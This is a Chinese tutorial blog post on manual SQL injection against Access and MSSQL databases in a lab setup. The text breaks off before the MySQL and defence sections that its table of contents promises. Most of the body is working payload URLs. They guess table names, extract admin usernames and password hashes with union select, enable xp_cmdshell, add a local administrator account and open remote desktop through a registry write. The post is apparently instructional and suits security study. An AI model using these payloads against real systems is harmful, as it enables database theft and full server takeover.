18-OWASP top10--SQL注入(三、MSSQL、Mysql手工注入及Sqlmap工具使用)

目录

access数据库

手工注入过程:

猜解数据库表名

猜解数据库表名里面的字段

猜解字段内容

SQL注入中的高级查询

mssql数据库

手工注入过程:

sa权限

 ​编辑dbowner权限

public权限

mysql数据库

1、对服务器文件进行读写操作(前提条件)

需要知道远程Web目录

 secure_file_priv为空:

服务器读取文件

写webshell获取权限

 2、mysq数据库手工注入过程:

检查注入点

查字段

查看当前数据库用户名及版本

获取dvwa表名

获取所有user表里面的字段

获取所有字段内容;0x7c表示|符号 

 注入防御

1、涵数过滤

2、直接下载相关防范注入文件,通过incloud包含放在网站配置文件里面

3、PDO预处理


access数据库

手工注入过程:
猜解数据库表名
​​​​​​​and exists(select * from users)


--如http://10.0.0.101/custom.asp?id=1 and exists(select * from users) 
--此查询尝试验证id参数是否可被用来注入SQL代码,并进一步判断数据库中是否有名为users的表。如果网页返回正常或特定的错误信息,可能表明SQL注入漏洞存在。
--如果网站直接显示一个错误页面,特别是提及SQL语法错误或表名users的信息,强烈暗示存在SQL注入漏洞。
--利用bp抓包进行数据库表名爆破(流程如下图)

加载网站用bp抓包

http://10.0.0.101/custom.asp?id=1 and exists(select * from users)

 添加字典跑数据库表名

返回200状态,正常显示证明数据库有此表  

猜解数据库表名里面的字段
and exists(select password from administrator)

 结果:

猜解字段内容
and (select top 1 len(user_name) from administrator)>1
and (select top 1 asc(mid(user_name,1,1)) from administrator)>0
SQL注入中的高级查询
order by       
--order by 8    order by 7
union select   
--http://10.0.0.101/news_view.asp?id=14 union select 1,2,3,4,5,6,7 from administrator
 order by 8

order by 7  

union select 1,2,3,4,5,6,7 from administrator

显示2 ,3,5,7;说明2,3,5,7可执行可读写

说明:
替换的内容
2:user_name   --输出admin
3:password     --输出21232f297a57a5a743894a0e4a801fc3
5:id                 --输出1
7:now             --输出2024-5-3 18:22:54

union select 1,user_name,password,4,id,6,now from administrator  

  • 偏移注入

  • 跨库查询


mssql数据库

手工注入过程:
sa权限

http://10.0.0.101:84/sqlserver/1.aspx?xxser=1

 --1.aspx则是一个具体的ASP.NET页面文件
http://10.0.0.101:84/sqlserver/1.aspx?xxser=1'

--测试是否有注入点
http://10.0.0.101:84/sqlserver/1.aspx?xxser=1 and exists (select * from%20sysobjects) 
--注入尝试:?xxser=1 and exists (select * from%20sysobjects) 部分是在原有查询参数xxser的值后面添加了SQL代码,试图探测数据库中是否存在特定的对象。这里使用了exists子句和sysobjects表。sysobjects是SQL Server中的一个系统表,包含了数据库中所有对象(如表、视图、存储过程等)的信息。通过检查sysobjects表中的记录是否存在,攻击者可以间接判断SQL注入是否成功以及数据库中是否有特定的表或对象。
http://10.0.0.101:84/sqlserver/1.aspx?xxser=1 and system_user=0 
--查询当前数据库系统的用户名
http://10.0.0.101:84/sqlserver/1.aspx?xxser=1 and 1=(select IS_SRVROLEMEMBER('sysadmin')) 
--检查注入点是否为sa权限
http://10.0.0.101:84/sqlserver/1.aspx?xxser=1 and 1=(select count(*) from master.dbo.sysobjects where name ='xp_cmdshell')  
--判断一下xp_cmdshell存储过程是否存在
http://10.0.0.101:84/sqlserver/1.aspx?xxser=1;EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;--
--恢复(启用)SQL Server中的xp_cmdshell扩展存储过程的正确方法
http://10.0.0.101:84/sqlserver/1.aspx?xxser=1;exec master..xp_cmdshell 'net user test test /add'
http://10.0.0.101:84/sqlserver/1.aspx?xxser=1;exec master..xp_cmdshell 'net localgroup administrators test /add'
--添加账户
http://10.0.0.101:84/sqlserver/1.aspx?xxser=1;exec master.dbo.xp_regwrite'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Control\Terminal Server','fDenyTSConnections','REG_DWORD',0;
--开启3389端口
远程连接10.0.0.101主机输入账户test密码test登陆;建立远程连接。

检查是否是mssql数据库:未报错,是mssql数据库

and exists (select * from sysobjects)

第二步:查询当前数据库系统的用户名

and system_user=0

 

第三步:检查注入点是否为sa权限:存在

and 1=(select IS_SRVROLEMEMBER('sysadmin'))

第四步:判断一下xp_cmdshell存储过程是否存在

and 1=(select count(*) from master.dbo.sysobjects where name ='xp_cmdshell')

恢复xp_cmdshell

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

XLbb:

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值